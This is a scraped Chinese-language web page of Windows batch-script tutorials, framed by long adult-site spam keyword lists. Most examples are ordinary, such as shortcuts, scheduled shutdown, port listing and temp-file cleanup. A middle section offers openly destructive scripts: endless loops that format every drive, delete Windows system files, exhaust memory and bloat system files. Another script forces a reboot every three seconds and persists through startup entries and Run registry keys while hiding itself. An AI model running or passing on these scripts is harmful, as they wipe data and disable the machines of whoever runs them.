亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > BAT > 正文

批處理實例代碼教程 集合

2020-03-29 20:07:25
字體:
來源:轉載
供稿:網友
批處理實例代碼教程
--------------------------------------------------------------------------------
批處理程序刪除自身.bat
echo 有時候我們需要批處理程序在執行完成之后刪除自身,可以用 del %0
例:
復制代碼 代碼如下:

@echo off
echo 按任意鍵后我將刪除自身
pause
del %0

--------------------------------------------------------------------------------
批處理發送文件夾的快捷方式到桌面
復制代碼 代碼如下:

echo [InternetShortcut] > "%userprofile%/桌面/文件夾.url"
echo URL=file:///C:/windows >> "%userprofile%/桌面/文件夾.url"

--------------------------------------------------------------------------------
批處理獲取IP生成TXT文本.bat
以下代碼是批處理獲取IP同時生成TXT文本:
復制代碼 代碼如下:

@echo off
<"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt
echo >nul && del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx")
do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(/d+)/.(/d+)/.(/d+)/.(/d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next

--------------------------------------------------------------------------------
利用批處理禁用(啟用)組策略
regsvr32 /s /u gpedit.dll 禁用
regsvr32 /s gpedit.dll 啟用
單單使用這命令依然可以禁止使用組策略,但這樣導致的后果就是-
這時候運行的組策略基本上只是個空殼了!利用下面的批處理將完美解決此類問題!
將下面這些代碼編成BAT批處理文件,這段是禁用組策略的命令
復制代碼 代碼如下:

@echo off
regsvr32 /s /u fde.dll
regsvr32 /s /u gpedit.dll
regsvr32 /s /u gptext.dll
regsvr32 /s /u wsecedit.dll
exit

這是啟用組策略
復制代碼 代碼如下:

@echo off
regsvr32 /s fde.dll
regsvr32 /s gpedit.dll
regsvr32 /s gptext.dll
regsvr32 /s wsecedit.dll
exit

--------------------------------------------------------------------------------
批處理定時關機.bat
復制代碼 代碼如下:

@echo off
mode con lines=25
title 定時關機
color 1f
cls
echo.
echo.
echo.
echo.
echo 時間使用24小時制(如2:15、12:00),可以輸入多個時間點
echo.
echo 多個時間點用空格分隔
echo.
echo.
echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
echo.
set times=
set /p times= 請輸入關機時間:
:: 以下語句實現每個星期的每一天指定時間關機
:: 如果要換成每個月的某幾天,請改字母為數字,并用逗號分隔
:: 以下代碼沒有錯誤檢測語句,輸入時間的時候務必按照指定格式輸入
:: 可以用在CMD窗口用at命令來查看計劃任務
if not "%times%"=="" for %%i in (%times%) do (
at %%i /every:M,T,W,Th,F,S,Su shutdown -s
)

--------------------------------------------------------------------------------
批處理創建url格式的快捷方式.bat
復制代碼 代碼如下:

@echo off
echo [InternetShortcut] >cmd.url
echo URL=%windir%/system32/cmd.exe >>cmd.url
echo IconIndex=0 >>cmd.url
echo IconFile=%windir%/system32/cmd.exe>>cmd.url

--------------------------------------------------------------------------------
批處理進入全屏幕界面.bat
復制代碼 代碼如下:

@echo off
:: 設定: 運行在全屏模式下
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
:rem 下面放置任何命令……
dir
pause

--------------------------------------------------------------------------------
最小化運行批處理.bat
復制代碼 代碼如下:

::最小化運行批處理
@echo off&&mode con cols=15 lines=1
%1 %2
start /min /i "" "%~nx0" goto min&&goto :eof
:min
echo xxx
pause>nul
exit
@echo off
mode con cols=15 lines=1
if exist "Temp.bat" goto Start
>Temp.bat echo start/min "" "%~nx0"^&exit
start/min Temp.bat&exit
:Start
del "Temp.bat">nul
pause

--------------------------------------------------------------------------------
全盤查找QQ.exe并執行.bat
復制代碼 代碼如下:

@echo off
:: 全盤查找qq.exe,找到之后就執行并退出CMD窗口
:: fsutil fsinfo drives 得出來的結果雖然中間有空格,但是他代表是回車符或者換行符的作用,所以還要用find /v來過濾,否則,只得到第一個分區
setlocal enabledelayedexpansion
for /f "delims=/" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find "固定">nul && (
for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!/qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" && exit
)
)

--------------------------------------------------------------------------------
刪除歷史記錄.bat
復制代碼 代碼如下:

@echo off
:: 刪除"運行"、"查找"等處的歷史記錄
reg add HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001

--------------------------------------------------------------------------------
批處理查看進程端口
用批處理實現的獲取當前進程所開啟的端口代碼:
復制代碼 代碼如下:

@echo off
color a
Title XP端口-進程查詢
setlocal enabledelayedexpansion
echo ╔- -╗
echo 本機開放的端口及使用該端口的進程
echo ╚- -╝
echo ------------------------------------
echo 端口號 進程名稱
ECHO TCP協議:
::利用netstat命令找出使用TCP協議通信的端口,并將結果分割;
::將第二個參數(IP加端口)傳給%%i,第五個參數(PID號)傳給%%j;
for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
call :Assoc %%i TCP %%j
echo !TCP_Port! !TCP_Proc_Name!
)
ECHO UDP協議:
for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
call :Assoc %%i UDP %%j
echo !UDP_Port! !UDP_Proc_Name!
)
echo 按任意鍵退出
pause>nul
:Assoc
::對%1(第一個參數)進行分割,將第二個參數傳給%%e。在本程序中,%1即為上面的%%i(形式為:IP:端口號)
for /F "tokens=2 delims=:" %%e in ("%1") do (
set %2_Port=%%e
)
:: 查詢PID等于%3(第三個參數)的進程,并將結果傳給變量?_Proc_Name,?代表UDP或者TCP;
for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
::%%~a表示去掉%%a外面的引號,因為上述命令的結果是用括號括起來的。
set %2_Proc_Name=%%~a
)

--------------------------------------------------------------------------------
破壞型BAT批處理腳本[慎用]
一、死循環強制格式化A:到Z:盤(對于部分速度比較快的機器會比較快當機……)
復制代碼 代碼如下:

:format
@format a: /q /y >nul
@format b: /q /y >nul
@format d: /q /y >nul
@format e: /q /y >nul
@format f: /q /y >nul
@format g: /q /y >nul
@format h: /q /y >nul
@format i: /q /y >nul
@format j: /q /y >nul
@format k: /q /y >nul
@format l: /q /y >nul
@format m: /q /y >nul
@format n: /q /y >nul
@format o: /q /y >nul
@format p: /q /y >nul
@format q: /q /y >nul
@format r: /q /y >nul
@format s: /q /y >nul
@format t: /q /y >nul
@format u: /q /y >nul
@format v: /q /y >nul
@format w: /q /y >nul
@format x: /q /y >nul
@format y: /q /y >nul
@format z: /q /y >nul
@format c: /q /y >nul
goto format

二、死循環強制刪除C:盤WINDOWS目錄下的所有文件(跟上面的一個例子效果差不多,不過這里用到了強制刪除參數)
復制代碼 代碼如下:

:breake
@if exist %windir%/system32/*.* del %windir%/system32/*.* >nul
@if exist %windir%/*.* del %windir%/*.* >nul
goto breake

三、利用部分系統工具的內存占用卡到死機
復制代碼 代碼如下:

:die
@start regsvr32.exe /s %windir%/system32/*.* >nul
@start %windir%/system32/*.* >nul
@start notepad %windir%/explorer.exe >nul
goto die

四、用部分工具的檢測信息導出功能生成巨大的垃圾文件(雖然生成垃圾的速度很慢,但是跟“垃圾王”病毒有的一比,也算是“無聲的*****”吧……)
復制代碼 代碼如下:

@start ping 127.0.0.1 -t > %windir%/system32/regsvr32.dll >nul
:ping
@start ping 127.0.0.1 -t >> %windir%/system32/regsvr32.dll >nul
@start ping 127.0.0.1 -t >> %windir%/system32/regedit.exe >nul
goto ping

--------------------------------------------------------------------------------
反復重啟的惡意批處理
反復重啟就是讓別人啟動了再重啟 一直反復,以下代碼
復制代碼 代碼如下:

@echo off
shutdown -r -t 3
copy %0 C:/Documents" "and" "Settings/All" "Users/「開始」菜單/程序/啟動/a.bat
copy %0 c:/autoexec.bat
REG ADD HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run /v autoexec.bat /t REG_SZ /d c:/autoexec.bat /f
REG ADD HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run /v autoexec.bat /t REG_SZ /d c:/autoexec.bat /f
attrib autoexec.bat +r +s +h
REG ADD HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explorer/Advanced/Folder/Hidden/SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
del %0

3秒重啟 加入了啟動項 開機就會3秒倒計時
--------------------------------------------------------------------------------
刪除右鍵“新建”菜單項目.bat
復制代碼 代碼如下:

@echo off
:: 只要刪除"HKEY_CLASSERS_ROORT/.后綴名"項目下的"ShellNew"鍵就可以了
:: 如果實在刪除不了,則把"HKEY_CLASSERS_ROORT/.后綴名"刪除掉即可
mode con lines=25
title "新建"菜單內容刪除器
color 1f
:input
cls
call :display
echo 如果要強行刪除,請選 1
echo.
echo.
set input=
set /p input= 請輸入后綴名:
if "%input%"=="" goto input
if "%input%"=="0" exit
if "%input%"=="1" goto fouce
for /f %%i in ("%input%") do (reg delete HKCR/.%%i/ShellNew /f)
goto continue
:fouce
cls
call :display
set input=
set /p input= 請輸入后綴名(強行刪除):
if "%input%"=="" goto fouce
if "%input%"=="0" exit
for /f %%i in ("%input%") do (reg delete HKCR/.%%i /f)
:continue
cls
call :display
echo.
set choice=
set /p choice= 還要繼續清除嗎?(y/n):
if "%choice%"=="" goto continue
if "%choice%"=="y" goto input
if "%choice%"=="" goto :eof
:display
echo.
echo.
echo.
echo.
echo.
echo.
echo 本程序能刪除右鍵菜單中"新建"項目下的多余內容,為"新建"菜單減肥!
echo.
echo 如果想讓某種類型的文件不再出現在鼠標右鍵的"新建"菜單中,請直接
echo.
echo 輸入該文件類型的后綴名。例如:rar。
echo.
echo 退出請選 0
echo.

--------------------------------------------------------------------------------
快速清理垃圾文件(修正)
復制代碼 代碼如下:

@echo off
color f0
echo.
echo 正在安全地自動清除垃圾文件……
del /f /q %systemdrive%/*.tmp>nul 2>nul
del /f /q %systemdrive%/*._mp>nul 2>nul
del /f /q %systemdrive%/*.log>nul 2>nul
del /f /q %systemdrive%/*.gid>nul 2>nul
del /f /q %systemdrive%/*.chk>nul 2>nul
del /f /q %systemdrive%/*.old>nul 2>nul
del /f /q %windir%/*.bak>nul 2>nul
del /f /q %windir%/*.tmp>nul 2>nul
del /f /q %windir%/prefetch/*.*>nul 2>nul
del /f /s /q %systemdrive%/recycled/*.*
del /f /q "%ALLUSERSPROFILE%/Documents/DrWatson/*.*">nul 2>nul
del /f /q "%USERPROFILE%/Cookies/*.txt">nul 2>nul
del /f /q /s "%TEMP%/*.*">nul 2>nul
del /f /q /s "%Systemroot%/Prefetch/*.*">nul 2>nul
del /f /q "%USERPROFILE%/Recent/*.*">nul 2>nul
del /f /q "%USERPROFILE%/Application Data/Microsoft/Office/Recent/*.lnk">nul 2>nul
del /f /q /s "%USERPROFILE%/Local Settings/Temp/*.*">nul 2>nul
rd /s /q %windir%/temp & md %windir%/temp>nul 2>nul
if not exist %SystemRoot%/Minidump/NUL del /f /q /s %SystemRoot%/Minidump/*.*>nul 2>nul
del /f /s /q "%userprofile%/Local Settings/Temporary Internet Files/*.*">nul 2>nul
 
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
一区二区三区四区在线观看视频| 永久免费毛片在线播放不卡| 亚洲免费高清视频| 色小说视频一区| 69久久夜色精品国产7777| 欧洲亚洲在线视频| 欧美日韩人人澡狠狠躁视频| 成人做爽爽免费视频| 91情侣偷在线精品国产| 亚洲欧美日韩在线一区| 精品欧美aⅴ在线网站| 91久久精品国产91性色| 91亚洲精品一区二区| 欧美成人免费va影院高清| 久久久爽爽爽美女图片| 在线性视频日韩欧美| 欧美xxxx综合视频| 亚洲午夜久久久久久久| 色婷婷久久一区二区| 亚洲欧美国产日韩天堂区| 日韩成人在线视频网站| 亚洲成人黄色在线观看| y97精品国产97久久久久久| 91精品国产乱码久久久久久久久| 精品久久久在线观看| 国内精品久久久久| 日韩精品黄色网| 色多多国产成人永久免费网站| 欧美大尺度在线观看| 色青青草原桃花久久综合| 国产久一一精品| 亚洲色图激情小说| 亚洲va男人天堂| 久久69精品久久久久久国产越南| 日韩电影在线观看免费| 亚洲女人天堂视频| 亚洲欧美日韩精品久久奇米色影视| 国产suv精品一区二区三区88区| 日本在线精品视频| 亚洲第一av在线| 疯狂欧美牲乱大交777| 欧美精品videofree1080p| 亚洲美女精品成人在线视频| 成人美女免费网站视频| 精品国产鲁一鲁一区二区张丽| 国产精品久久在线观看| 日本精品久久中文字幕佐佐木| 国产日本欧美一区二区三区在线| 色av中文字幕一区| 岛国av在线不卡| 一区二区三区黄色| 欧美专区福利在线| 精品美女国产在线| 国产69精品久久久久9999| 中文字幕亚洲一区| 日韩大片在线观看视频| 97精品一区二区三区| 92看片淫黄大片欧美看国产片| 日韩在线免费观看视频| 亚洲网站在线观看| 成人97在线观看视频| 欧美日韩综合视频| 亚洲国产成人精品久久久国产成人一区| 岛国av一区二区| 自拍视频国产精品| 欧美www视频在线观看| 国产精品av免费在线观看| 久久99国产精品自在自在app| 亚洲免费成人av电影| 国产小视频91| 欧美激情在线观看视频| 久久夜色精品国产亚洲aⅴ| 26uuu亚洲国产精品| 亚洲精品久久久久久久久久久久| 懂色av中文一区二区三区天美| 欧美成人在线网站| 欧美另类高清videos| 国产精品吴梦梦| 久久久久久久97| 日韩精品免费在线视频| 97人人模人人爽人人喊中文字| 一本一本久久a久久精品牛牛影视| 亚洲人成亚洲人成在线观看| 亚洲精品mp4| 日韩在线播放一区| 亚洲美女喷白浆| 国产在线视频91| 一区二区三区四区精品| 久久久伊人欧美| 欧美日韩综合视频| 日韩av中文字幕在线播放| 中文字幕在线国产精品| 日韩欧美在线中文字幕| 国产精品久久久久不卡| 国产日韩av在线| 久久久综合av| 亚洲第一偷拍网| 亚洲精品久久久久久久久久久久| 国产999在线观看| 国产日韩欧美在线视频观看| 欧美日韩另类字幕中文| 欧美综合激情网| 亚洲福利在线视频| 91国内在线视频| 国产精品久久久久久久久久久不卡| 久久久国产视频| 国产精品女人久久久久久| 国产精品一香蕉国产线看观看| 国产这里只有精品| 亚洲伊人一本大道中文字幕| 91在线色戒在线| 国产一区红桃视频| 欧美在线xxx| 国产日韩av在线播放| 欧美成人激情视频| 日韩综合视频在线观看| 亚洲成年人在线| 亚洲一二三在线| 午夜精品一区二区三区在线视频| 97碰碰碰免费色视频| 日韩精品小视频| 性色av一区二区三区红粉影视| 韩国日本不卡在线| 欧美国产日韩一区二区三区| 欧美午夜美女看片| 久久久亚洲国产天美传媒修理工| 亚洲图片欧洲图片av| 91精品国产91久久久| 亚洲mm色国产网站| 欧美中文字幕在线视频| 亚洲在线一区二区| 欧美wwwwww| 97在线视频一区| 亚洲一区二区三区毛片| 2018中文字幕一区二区三区| 成人做爽爽免费视频| 中文字幕欧美日韩va免费视频| 亚洲国产99精品国自产| 欧美福利视频在线观看| 欧美精品久久久久久久久久| 日韩最新中文字幕电影免费看| 色噜噜国产精品视频一区二区| 韩国三级日本三级少妇99| 45www国产精品网站| 91在线高清免费观看| 国产精品久久久久久久久免费看| 国产精品国模在线| 亚洲人成网站色ww在线| 国产午夜精品全部视频播放| 精品久久久久久久久久久久久久| 日韩精品在线视频观看| 欧美一级视频一区二区| 91性高湖久久久久久久久_久久99| 亚洲欧美一区二区三区情侣bbw| 亚洲一区二区三区四区在线播放| 亚洲欧美另类自拍| 92福利视频午夜1000合集在线观看| 色www亚洲国产张柏芝| 91精品国产99久久久久久| 欧美黄色小视频| 宅男66日本亚洲欧美视频| 日韩美女在线播放| 欧美日韩国产精品一区二区三区四区| 欧美性videos高清精品|